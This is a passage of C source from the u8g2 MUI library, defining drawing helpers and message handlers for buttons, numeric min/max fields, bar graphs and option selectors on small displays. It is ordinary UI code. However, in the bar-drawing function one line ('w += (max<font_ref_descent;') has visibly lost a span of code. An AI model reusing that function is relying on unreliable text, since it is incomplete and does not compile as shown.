case MUIF_MSG_VALUE_INCREMENT: break; case MUIF_MSG_VALUE_DECREMENT: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } */ /*=========================================================================*/ #define MUI_U8G2_V_PADDING 1 /*=========================================================================*/ /* extra u8g2 drawing functions */ static void u8g2_DrawCheckbox(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t is_checked) MUI_NOINLINE; static void u8g2_DrawCheckbox(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t is_checked) { u8g2_DrawFrame(u8g2, x, y-w, w, w); if ( is_checked ) { w-=4; u8g2_DrawBox(u8g2, x+2, y-w-2, w, w); } } static void u8g2_DrawValueMark(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w) { u8g2_DrawBox(u8g2, x, y-w, w, w); } /*=========================================================================*/ /* helper function */ u8g2_uint_t mui_get_x(mui_t *ui) MUI_NOINLINE; u8g2_uint_t mui_get_x(mui_t *ui) { if ( u8g2_GetDisplayWidth(mui_get_U8g2(ui)) >= 255 ) return ui->x / 2; return ui->x; } u8g2_uint_t mui_get_y(mui_t *ui) { return ui->y; } u8g2_t *mui_get_U8g2(mui_t *ui) { return (u8g2_t *)(ui->graphics_data); } //void u8g2_DrawButtonUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t flags, u8g2_uint_t width, u8g2_uint_t padding_h, u8g2_uint_t padding_v, const char *text); void mui_u8g2_draw_button_utf(mui_t *ui, u8g2_uint_t flags, u8g2_uint_t width, u8g2_uint_t padding_h, u8g2_uint_t padding_v, const char *text) { if ( text==NULL) text = ""; u8g2_DrawButtonUTF8(mui_get_U8g2(ui), mui_get_x(ui), mui_get_y(ui), flags, width, padding_h, padding_v, text); } u8g2_uint_t mui_u8g2_get_pi_flags(mui_t *ui) { u8g2_uint_t flags = 0; if ( mui_IsCursorFocus(ui) ) { flags |= U8G2_BTN_INV; if ( ui->is_mud ) { flags |= U8G2_BTN_XFRAME; } } return flags; } void mui_u8g2_draw_button_pi(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text) { mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), width, padding_h , MUI_U8G2_V_PADDING, text); } u8g2_uint_t mui_u8g2_get_fi_flags(mui_t *ui) { u8g2_uint_t flags = 1; if ( mui_IsCursorFocus(ui) ) { flags |= U8G2_BTN_INV; if ( ui->is_mud ) { flags = 1; // undo INV } } return flags; } void mui_u8g2_draw_button_fi(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text) { mui_u8g2_draw_button_utf(ui, mui_u8g2_get_fi_flags(ui), width, padding_h , MUI_U8G2_V_PADDING, text); } u8g2_uint_t mui_u8g2_get_pf_flags(mui_t *ui) { u8g2_uint_t flags = 0; if ( mui_IsCursorFocus(ui) ) { flags |= 1; if ( ui->is_mud ) { flags |= U8G2_BTN_INV; } } return flags; } void mui_u8g2_draw_button_pf(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text) { mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pf_flags(ui), width, padding_h , MUI_U8G2_V_PADDING, text); } u8g2_uint_t mui_u8g2_get_if_flags(mui_t *ui) { u8g2_uint_t flags = 0; if ( mui_IsCursorFocus(ui) ) { if ( ui->is_mud ) { flags |= 1; flags |= U8G2_BTN_INV; } else { flags |= 1; } } else { flags |= U8G2_BTN_INV; } return flags; } void mui_u8g2_draw_button_if(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text) { mui_u8g2_draw_button_utf(ui, mui_u8g2_get_if_flags(ui), width, padding_h , MUI_U8G2_V_PADDING, text); } static uint8_t mui_u8g2_handle_scroll_next_prev_events(mui_t *ui, uint8_t msg) MUI_NOINLINE; static uint8_t mui_u8g2_handle_scroll_next_prev_events(mui_t *ui, uint8_t msg) { uint8_t arg = ui->arg; switch(msg) { case MUIF_MSG_CURSOR_ENTER: if ( (arg > 0) && (ui->form_scroll_top + arg >= ui->form_scroll_total) ) return 255; break; case MUIF_MSG_EVENT_NEXT: if ( arg+1 == ui->form_scroll_visible ) { if ( ui->form_scroll_visible + ui->form_scroll_top < ui->form_scroll_total ) { ui->form_scroll_top++; return 1; } else { ui->form_scroll_top = 0; } } break; case MUIF_MSG_EVENT_PREV: if ( arg == 0 ) { if ( ui->form_scroll_top > 0 ) { ui->form_scroll_top--; return 1; } else { if ( ui->form_scroll_total > ui->form_scroll_visible ) { ui->form_scroll_top = ui->form_scroll_total - ui->form_scroll_visible; } else { ui->form_scroll_top = 0; } } } break; } return 0; } /*=========================================================================*/ /* simplified style function */ /* Used for MUIF_U8G2_FONT_STYLE(n,font) */ uint8_t mui_u8g2_set_font_style_function(mui_t *ui, uint8_t msg) { if ( msg == MUIF_MSG_DRAW ) { u8g2_SetFont(mui_get_U8g2(ui), (uint8_t *)muif_get_data(ui->uif)); } return 0; } /*=========================================================================*/ /* field functions */ /* xy: yes, arg: no, text: yes */ uint8_t mui_u8g2_draw_text(mui_t *ui, uint8_t msg) { switch(msg) { case MUIF_MSG_DRAW: u8g2_DrawUTF8(mui_get_U8g2(ui), mui_get_x(ui), mui_get_y(ui), ui->text); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: break; case MUIF_MSG_VALUE_INCREMENT: break; case MUIF_MSG_VALUE_DECREMENT: break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } /* uint8_t mui_u8g2_btn_goto_wm_fi(mui_t *ui, uint8_t msg) Description: A button with size equal to button text plus one pixel padding The button has a one pixel frame around the text. If the selected, then the form will change to the specified form number. Message Handling: DRAW, CURSOR_SELECT Style No Selection: Text + Frame Cursor Selection: Inverted text + Frame User interface field list (muif): flags: MUIF_CFLAG_IS_CURSOR_SELECTABLE data: not used Field definition string (fds): xy: Left position of the text (required) arg: Form numner (required) text: Button label */ uint8_t mui_u8g2_btn_goto_wm_fi(mui_t *ui, uint8_t msg) { switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_draw_button_utf(ui, U8G2_BTN_HCENTER |mui_u8g2_get_fi_flags(ui), 0, 1, MUI_U8G2_V_PADDING, ui->text); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: //return mui_GotoForm(ui, ui->arg, 0); return mui_GotoFormAutoCursorPosition(ui, ui->arg); case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } uint8_t mui_u8g2_btn_goto_wm_if(mui_t *ui, uint8_t msg) { switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_draw_button_utf(ui, U8G2_BTN_HCENTER |mui_u8g2_get_if_flags(ui), 0, 1, MUI_U8G2_V_PADDING, ui->text); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: //return mui_GotoForm(ui, ui->arg, 0); return mui_GotoFormAutoCursorPosition(ui, ui->arg); case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } uint8_t mui_u8g2_btn_goto_w2_fi(mui_t *ui, uint8_t msg) { u8g2_t *u8g2 = mui_get_U8g2(ui); switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_draw_button_utf(ui, U8G2_BTN_HCENTER | mui_u8g2_get_fi_flags(ui), u8g2_GetDisplayWidth(u8g2)/2 - 10, 0, MUI_U8G2_V_PADDING, ui->text); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: //return mui_GotoForm(ui, ui->arg, 0); return mui_GotoFormAutoCursorPosition(ui, ui->arg); case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } uint8_t mui_u8g2_btn_goto_w2_if(mui_t *ui, uint8_t msg) { u8g2_t *u8g2 = mui_get_U8g2(ui); switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_draw_button_utf(ui, U8G2_BTN_HCENTER | mui_u8g2_get_if_flags(ui), u8g2_GetDisplayWidth(u8g2)/2 - 10, 0, MUI_U8G2_V_PADDING, ui->text); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: //return mui_GotoForm(ui, ui->arg, 0); return mui_GotoFormAutoCursorPosition(ui, ui->arg); case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } /* uint8_t mui_u8g2_btn_exit_wm_fi(mui_t *ui, uint8_t msg) Description: A button with size equal to button text plus one pixel padding The button has a one pixel frame around the text. If selected, then the menu system will be closed. The arg value will be stored at the specified data location (if not NULL). The arg value can be used as an exit value of the button. Message Handling: DRAW, CURSOR_SELECT Style No Selection: Text + Frame Cursor Selection: Inverted text + Frame User interface field list (muif): flags: MUIF_CFLAG_IS_CURSOR_SELECTABLE data: Optionally points to uint8_t value which will receive the arg value of the field. Field definition string (fds): xy: Left position of the text (required) arg: Value which will be stored at *data (optional) text: Button label */ uint8_t mui_u8g2_btn_exit_wm_fi(mui_t *ui, uint8_t msg) { switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_draw_button_utf(ui, U8G2_BTN_HCENTER |mui_u8g2_get_fi_flags(ui), 0, 1, MUI_U8G2_V_PADDING, ui->text); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: { uint8_t *value = (uint8_t *)muif_get_data(ui->uif); if ( value != NULL ) *value = ui->arg; } mui_SaveForm(ui); // store the current form and position so that the child can jump back mui_LeaveForm(ui); return 1; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } uint8_t mui_u8g2_btn_goto_w1_pi(mui_t *ui, uint8_t msg) { u8g2_t *u8g2 = mui_get_U8g2(ui); switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_draw_button_pi(ui, u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui) , ui->text); //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui) , MUI_U8G2_V_PADDING, ui->text); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: //return mui_GotoForm(ui, ui->arg, 0); return mui_GotoFormAutoCursorPosition(ui, ui->arg); case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } uint8_t mui_u8g2_btn_goto_w1_fi(mui_t *ui, uint8_t msg) { u8g2_t *u8g2 = mui_get_U8g2(ui); switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_draw_button_fi(ui, u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui)-1 , ui->text); //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui) , MUI_U8G2_V_PADDING, ui->text); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: //return mui_GotoForm(ui, ui->arg, 0); return mui_GotoFormAutoCursorPosition(ui, ui->arg); case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } /*===============================================================================*/ static void mui_u8g2_u8_vmm_draw_wm_pi(mui_t *ui) MUI_NOINLINE; static void mui_u8g2_u8_vmm_draw_wm_pi(mui_t *ui) { u8g2_t *u8g2 = mui_get_U8g2(ui); mui_u8g2_u8_min_max_t *vmm= (mui_u8g2_u8_min_max_t *)muif_get_data(ui->uif); char buf[4] = "999"; char *s = buf; uint8_t *value = mui_u8g2_u8mm_get_valptr(vmm); uint8_t min = mui_u8g2_u8mm_get_min(vmm); uint8_t max = mui_u8g2_u8mm_get_max(vmm); uint8_t cnt = 3; if ( *value > max ) *value = max; if ( *value <= min ) *value = min; if ( max < 100 ) { s++; cnt--; } if ( max < 10 ) { s++; cnt--; } //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), u8g2_GetStrWidth(u8g2, s)+1, 1, MUI_U8G2_V_PADDING, u8x8_u8toa(*value, cnt)); mui_u8g2_draw_button_pi(ui, u8g2_GetStrWidth(u8g2, s)+1, 1, u8x8_u8toa(*value, cnt)); } uint8_t mui_u8g2_u8_min_max_wm_mse_pi(mui_t *ui, uint8_t msg) { mui_u8g2_u8_min_max_t *vmm= (mui_u8g2_u8_min_max_t *)muif_get_data(ui->uif); uint8_t *value = mui_u8g2_u8mm_get_valptr(vmm); uint8_t min = mui_u8g2_u8mm_get_min(vmm); uint8_t max = mui_u8g2_u8mm_get_max(vmm); switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_u8_vmm_draw_wm_pi(ui); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: (*value)++; if ( *value > max ) *value = min; break; case MUIF_MSG_VALUE_DECREMENT: if ( *value > min ) (*value)--; else *value = max; break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } uint8_t mui_u8g2_u8_min_max_wm_mud_pi(mui_t *ui, uint8_t msg) { mui_u8g2_u8_min_max_t *vmm= (mui_u8g2_u8_min_max_t *)muif_get_data(ui->uif); uint8_t *value = mui_u8g2_u8mm_get_valptr(vmm); uint8_t min = mui_u8g2_u8mm_get_min(vmm); uint8_t max = mui_u8g2_u8mm_get_max(vmm); switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_u8_vmm_draw_wm_pi(ui); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: /* toggle between normal mode and capture next/prev mode */ ui->is_mud = !ui->is_mud; break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; case MUIF_MSG_EVENT_NEXT: if ( ui->is_mud ) { (*value)++; if ( *value > max ) *value = min; return 1; } break; case MUIF_MSG_EVENT_PREV: if ( ui->is_mud ) { if ( *value <= min ) *value = max; else (*value)--; return 1; } break; } return 0; } static void mui_u8g2_u8_vmm_draw_wm_pf(mui_t *ui) MUI_NOINLINE; static void mui_u8g2_u8_vmm_draw_wm_pf(mui_t *ui) { u8g2_t *u8g2 = mui_get_U8g2(ui); mui_u8g2_u8_min_max_t *vmm= (mui_u8g2_u8_min_max_t *)muif_get_data(ui->uif); char buf[4] = "999"; char *s = buf; uint8_t *value = mui_u8g2_u8mm_get_valptr(vmm); uint8_t min = mui_u8g2_u8mm_get_min(vmm); uint8_t max = mui_u8g2_u8mm_get_max(vmm); uint8_t cnt = 3; if ( *value > max ) *value = max; if ( *value <= min ) *value = min; if ( max < 100 ) { s++; cnt--; } if ( max < 10 ) { s++; cnt--; } //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), u8g2_GetStrWidth(u8g2, s)+1, 1, MUI_U8G2_V_PADDING, u8x8_u8toa(*value, cnt)); mui_u8g2_draw_button_pf(ui, u8g2_GetStrWidth(u8g2, s)+1, 1, u8x8_u8toa(*value, cnt)); } uint8_t mui_u8g2_u8_min_max_wm_mse_pf(mui_t *ui, uint8_t msg) { mui_u8g2_u8_min_max_t *vmm= (mui_u8g2_u8_min_max_t *)muif_get_data(ui->uif); uint8_t *value = mui_u8g2_u8mm_get_valptr(vmm); uint8_t min = mui_u8g2_u8mm_get_min(vmm); uint8_t max = mui_u8g2_u8mm_get_max(vmm); switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_u8_vmm_draw_wm_pf(ui); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: (*value)++; if ( *value > max ) *value = min; break; case MUIF_MSG_VALUE_DECREMENT: if ( *value > min ) (*value)--; else *value = max; break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } uint8_t mui_u8g2_u8_min_max_wm_mud_pf(mui_t *ui, uint8_t msg) { mui_u8g2_u8_min_max_t *vmm= (mui_u8g2_u8_min_max_t *)muif_get_data(ui->uif); uint8_t *value = mui_u8g2_u8mm_get_valptr(vmm); uint8_t min = mui_u8g2_u8mm_get_min(vmm); uint8_t max = mui_u8g2_u8mm_get_max(vmm); switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_u8_vmm_draw_wm_pf(ui); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: /* toggle between normal mode and capture next/prev mode */ ui->is_mud = !ui->is_mud; break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; case MUIF_MSG_EVENT_NEXT: if ( ui->is_mud ) { (*value)++; if ( *value > max ) *value = min; return 1; } break; case MUIF_MSG_EVENT_PREV: if ( ui->is_mud ) { if ( *value <= min ) *value = max; else (*value)--; return 1; } break; } return 0; } /*===============================================================================*/ static uint8_t mui_u8g2_u8_bar_mse_msg_handler(mui_t *ui, uint8_t msg) MUI_NOINLINE; static uint8_t mui_u8g2_u8_bar_mse_msg_handler(mui_t *ui, uint8_t msg) { mui_u8g2_u8_min_max_step_t *vmms= (mui_u8g2_u8_min_max_step_t *)muif_get_data(ui->uif); uint8_t *value = mui_u8g2_u8mms_get_valptr(vmms); uint8_t min = mui_u8g2_u8mms_get_min(vmms); uint8_t max = mui_u8g2_u8mms_get_max(vmms); uint8_t step = mui_u8g2_u8mms_get_step(vmms); uint8_t flags = mui_u8g2_u8mms_get_flags(vmms); switch(msg) { case MUIF_MSG_DRAW: break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: (*value)+=step; if ( *value > max ) { if ( flags & MUI_MMS_NO_WRAP ) *value = max; else *value = min; } break; case MUIF_MSG_VALUE_DECREMENT: if ( *value >= min+step ) (*value)-=step; else { if ( flags & MUI_MMS_NO_WRAP ) *value = min; else *value = max; } break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; } return 0; } static uint8_t mui_u8g2_u8_bar_mud_msg_handler(mui_t *ui, uint8_t msg) MUI_NOINLINE; static uint8_t mui_u8g2_u8_bar_mud_msg_handler(mui_t *ui, uint8_t msg) { mui_u8g2_u8_min_max_step_t *vmms= (mui_u8g2_u8_min_max_step_t *)muif_get_data(ui->uif); uint8_t *value = mui_u8g2_u8mms_get_valptr(vmms); uint8_t min = mui_u8g2_u8mms_get_min(vmms); uint8_t max = mui_u8g2_u8mms_get_max(vmms); uint8_t step = mui_u8g2_u8mms_get_step(vmms); uint8_t flags = mui_u8g2_u8mms_get_flags(vmms); switch(msg) { case MUIF_MSG_DRAW: break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: /* toggle between normal mode and capture next/prev mode */ ui->is_mud = !ui->is_mud; break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; case MUIF_MSG_EVENT_NEXT: if ( ui->is_mud ) { (*value)+=step; if ( *value > max ) { if ( flags & MUI_MMS_NO_WRAP ) *value = max; else *value = min; } return 1; } break; case MUIF_MSG_EVENT_PREV: if ( ui->is_mud ) { if ( *value <= min || *value > max) { if ( flags & MUI_MMS_NO_WRAP ) *value = min; else *value = max; } else (*value)-=step; return 1; } break; } return 0; } static void mui_u8g2_u8_bar_draw_wm(mui_t *ui, uint8_t flags, uint8_t is_fixed_width) MUI_NOINLINE; static void mui_u8g2_u8_bar_draw_wm(mui_t *ui, uint8_t flags, uint8_t is_fixed_width) { u8g2_t *u8g2 = mui_get_U8g2(ui); mui_u8g2_u8_min_max_step_t *vmms= (mui_u8g2_u8_min_max_step_t *)muif_get_data(ui->uif); char buf[4] = "999"; char *s = buf; uint8_t *value = mui_u8g2_u8mms_get_valptr(vmms); uint8_t min = mui_u8g2_u8mms_get_min(vmms); uint8_t max = mui_u8g2_u8mms_get_max(vmms); uint8_t scale = 0; //uint8_t step = mui_u8g2_u8mms_get_step(vmms); uint8_t mms_flags = mui_u8g2_u8mms_get_flags(vmms); uint8_t cnt = 3; uint8_t height = u8g2_GetAscent(u8g2); int8_t backup_descent; u8g2_uint_t x = mui_get_x(ui); u8g2_uint_t w = 0; u8g2_uint_t v; // the calculated pixel value if ( mms_flags & MUI_MMS_2X_BAR ) scale |= 1; if ( mms_flags & MUI_MMS_4X_BAR ) scale |= 2; if ( *value > max ) *value = max; if ( *value <= min ) *value = min; if ( max < 100 ) { s++; cnt--; } if ( max < 10 ) { s++; cnt--; } if ( is_fixed_width == 0 ) { w += (max<font_ref_descent; u8g2->font_ref_descent = 0; /* hmm... that's a low level hack so that DrawButtonFrame ignores the descent value of the font */ u8g2_DrawButtonFrame(u8g2, x, mui_get_y(ui), flags, w, 1, 1); u8g2->font_ref_descent = backup_descent; } // #define MUIF_U8G2_U8_MIN_MAX_STEP(id, valptr, min, max, step, flags, muif) uint8_t mui_u8g2_u8_bar_wm_mse_pi(mui_t *ui, uint8_t msg) { switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pi_flags(ui), 0); break; default: return mui_u8g2_u8_bar_mse_msg_handler(ui, msg); } return 0; } uint8_t mui_u8g2_u8_bar_wm_mud_pi(mui_t *ui, uint8_t msg) { switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pi_flags(ui), 0); break; default: return mui_u8g2_u8_bar_mud_msg_handler(ui, msg); } return 0; } uint8_t mui_u8g2_u8_bar_wm_mse_pf(mui_t *ui, uint8_t msg) { switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pf_flags(ui), 0); break; default: return mui_u8g2_u8_bar_mse_msg_handler(ui, msg); } return 0; } uint8_t mui_u8g2_u8_bar_wm_mud_pf(mui_t *ui, uint8_t msg) { switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pf_flags(ui), 0); break; default: return mui_u8g2_u8_bar_mud_msg_handler(ui, msg); } return 0; } // #define MUIF_U8G2_U8_MIN_MAX_STEP_WIDTH(id, valptr, min, max, step, width, flags, muif) uint8_t mui_u8g2_u8_fixed_width_bar_wm_mse_pi(mui_t *ui, uint8_t msg) { switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pi_flags(ui), 1); break; default: return mui_u8g2_u8_bar_mse_msg_handler(ui, msg); } return 0; } uint8_t mui_u8g2_u8_fixed_width_bar_wm_mud_pi(mui_t *ui, uint8_t msg) { switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pi_flags(ui), 1); break; default: return mui_u8g2_u8_bar_mud_msg_handler(ui, msg); } return 0; } uint8_t mui_u8g2_u8_fixed_width_bar_wm_mse_pf(mui_t *ui, uint8_t msg) { switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pf_flags(ui), 1); break; default: return mui_u8g2_u8_bar_mse_msg_handler(ui, msg); } return 0; } uint8_t mui_u8g2_u8_fixed_width_bar_wm_mud_pf(mui_t *ui, uint8_t msg) { switch(msg) { case MUIF_MSG_DRAW: mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pf_flags(ui), 1); break; default: return mui_u8g2_u8_bar_mud_msg_handler(ui, msg); } return 0; } /*===============================================================================*/ static uint8_t mui_is_valid_char(uint8_t c) MUI_NOINLINE; uint8_t mui_is_valid_char(uint8_t c) { if ( c == 32 ) return 1; if ( c >= 'A' && c <= 'Z' ) return 1; if ( c >= 'a' && c <= 'z' ) return 1; if ( c >= '0' && c <= '9' ) return 1; return 0; } uint8_t mui_u8g2_u8_char_wm_mud_pi(mui_t *ui, uint8_t msg) { //ui->dflags MUIF_DFLAG_IS_CURSOR_FOCUS MUIF_DFLAG_IS_TOUCH_FOCUS //mui_get_cflags(ui->uif) MUIF_CFLAG_IS_CURSOR_SELECTABLE u8g2_t *u8g2 = mui_get_U8g2(ui); uint8_t *value = (uint8_t *)muif_get_data(ui->uif); char buf[6]; switch(msg) { case MUIF_MSG_DRAW: while( mui_is_valid_char(*value) == 0 ) (*value)++; buf[0] = *value; buf[1] = '\0'; mui_u8g2_draw_button_pi(ui, u8g2_GetMaxCharWidth(u8g2), 1, buf); //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), u8g2_GetMaxCharWidth(u8g2), 1, MUI_U8G2_V_PADDING, buf); //u8g2_DrawButtonUTF8(u8g2, mui_get_x(ui), mui_get_y(ui), mui_u8g2_get_pi_flags(ui), u8g2_GetMaxCharWidth(u8g2), 1, MUI_U8G2_V_PADDING, buf); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: case MUIF_MSG_VALUE_INCREMENT: case MUIF_MSG_VALUE_DECREMENT: /* toggle between normal mode and capture next/prev mode */ ui->is_mud = !ui->is_mud; break; case MUIF_MSG_CURSOR_LEAVE: break; case MUIF_MSG_TOUCH_DOWN: break; case MUIF_MSG_TOUCH_UP: break; case MUIF_MSG_EVENT_NEXT: if ( ui->is_mud ) { do { (*value)++; } while( mui_is_valid_char(*value) == 0 ); return 1; } break; case MUIF_MSG_EVENT_PREV: if ( ui->is_mud ) { do { (*value)--; } while( mui_is_valid_char(*value) == 0 ); return 1; } break; } return 0; } /* uint8_t mui_u8g2_u8_opt_line_wa_mse_pi(mui_t *ui, uint8_t msg) Description: Select one of several options. First option has value 0. Only one option is visible. The visible option is automatically the selected option. Message Handling: DRAW, SELECT Style No Selection: Text only Cursor Selection: Inverted text User interface field list (muif): flags: MUIF_CFLAG_IS_CURSOR_SELECTABLE data: uint8_t *, pointer to a uint8_t variable, which contains the selected option Field definition string (fds): xy: Left position of the text (required) arg: total width of the selectable option (optional), text: '|' separated list of options */ uint8_t mui_u8g2_u8_opt_line_wa_mse_pi(mui_t *ui, uint8_t msg) { //u8g2_t *u8g2 = mui_get_U8g2(ui); uint8_t *value = (uint8_t *)muif_get_data(ui->uif); switch(msg) { case MUIF_MSG_DRAW: if ( mui_fds_get_nth_token(ui, *value) == 0 ) { *value = 0; mui_fds_get_nth_token(ui, *value); } mui_u8g2_draw_button_pi(ui, ui->arg, 1, ui->text); //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), ui->arg, 1, MUI_U8G2_V_PADDING, ui->text); //u8g2_DrawButtonUTF8(u8g2, mui_get_x(ui), mui_get_y(ui), mui_u8g2_get_pi_flags(ui), ui->arg, 1, MUI_U8G2_V_PADDING, ui->text); break; case MUIF_MSG_FORM_START: break; case MUIF_MSG_FORM_END: break; case MUIF_MSG_CURSOR_ENTER: break; case MUIF_MSG_CURSOR_SELECT: 